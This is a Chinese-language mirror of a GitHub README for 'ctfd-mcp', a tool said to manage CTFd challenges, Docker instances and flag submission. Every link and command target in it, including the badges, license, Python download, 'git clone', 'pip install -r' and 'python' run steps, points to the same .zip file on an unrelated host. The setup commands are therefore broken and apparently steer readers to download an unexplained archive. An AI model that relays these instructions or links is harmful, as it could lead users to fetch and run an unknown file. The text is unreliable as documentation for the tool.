AaryaBhusal/ctfd-mcp

GitHub: AaryaBhusal/ctfd-mcp

基于MCP协议的CTFd客户端工具,支持题目浏览、动态Docker容器控制和flag提交。

Stars: 1 | Forks: 0

# 🎉 ctfd-mcp - 轻松管理 CTFd 题目 [![GitHub Release](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip) [![License](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)](LICENSE) [![Python](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip%2B-blue)](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip) [![Issues](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip) 作为一名普通的 CTFd 用户,此应用程序允许您轻松列出题目、查看详情、启动和停止动态 Docker 实例,以及提交 flag。 ## 🚀 快速入门 ### 📥 下载与安装 要安装 CTFd MCP 服务器,请访问此页面下载:[CTFd MCP Releases](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)。 ### ✅ 系统要求 - **Python 3.13 或更高版本:** 确保您的设备上已安装 Python。您可以在此处[下载](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)。 - **环境变量:** 您需要设置以下身份验证方法之一: - `CTFD_URL`:您的 CTFd URL(例如,https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)。 - `CTFD_TOKEN`:您的用户 token(非管理员)。 - `CTFD_SESSION`:如果 token 被禁用,则使用您的会话 cookie。 - `CTFD_CSRF_TOKEN`:可选,仅当您的服务器需要 ctfd-owl 的 CSRF 时使用。 您可以将这些值存储在项目文件夹根目录下的 `.env` 文件中。 示例 `.env` 文件: ``` https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip CTFD_TOKEN=your_user_token ``` ### 🛠️ 设置环境 1. 在计算机上**创建一个文件夹**,用于存放应用程序。 2. **打开终端或命令提示符。** 使用 `cd` 命令导航到您的文件夹。 3. 使用以下命令**克隆仓库**: git clone https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip 4. **导航到克隆的文件夹:** cd ctfd-mcp 5. 运行以下命令来**安装所需的包**: pip install -r https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip ### ⚙️ 配置 1. 在 CTFd MCP 文件夹的根目录下**创建一个 `.env` 文件**。 2. 如上一节所示**添加您的设置**。根据需要调整 `CTFD_URL`、`CTFD_TOKEN` 或 `CTFD_SESSION` 的值。 ### 🚀 运行应用程序 1. 使用此命令**运行应用程序**: python https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip 2. 您应该会在终端中看到指示应用程序正在运行的输出。 3. 通过 Web 浏览器**访问应用程序**。输入您在 `.env` 文件中设置的 CTFd URL。 ### 🔧 故障排除 如果您遇到问题,请检查以下常见问题: - **未安装 Python:** 确保已安装 Python 3.13 或更高版本。如有需要,请参考 [Python 官方网站](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)。 - **缺少环境变量:** 仔细检查您的 `.env` 文件。确保值正确且已保存。 - **包安装失败:** 确保您的互联网连接正常。重试安装命令。 如果问题仍然存在,请随时在[此处](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)报告。 ### 📄 附加信息 有关如何使用此服务器的更多详细信息,请查阅项目内的文档。查找可以增强您的使用体验的示例和其他配置选项。 ## 🧑‍🤝‍🧑 社区与支持 通过关注 GitHub Issues 页面上的讨论来加入我们的社区。无论您有问题还是想分享您的经验,我们都欢迎您的参与。 ## 📜 许可证 本项目根据 MIT 许可证授权。您可以在此处阅读完整的许可证[内容](LICENSE)。 请务必查看发布页面以获取软件更新:[CTFd MCP Releases](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dd703ade6b142317.zip)。
标签:API集成, CTFd, ctfd-owl, CTF助手, DNS解析, Docker, Flag提交, MCP Server, Python, 动态实例, 可观测性, 安全防御评估, 容器管理, 开源项目, 无后门, 模型上下文协议, 竞赛平台, 网络安全, 请求拦截, 逆向工具, 隐私保护, 题库管理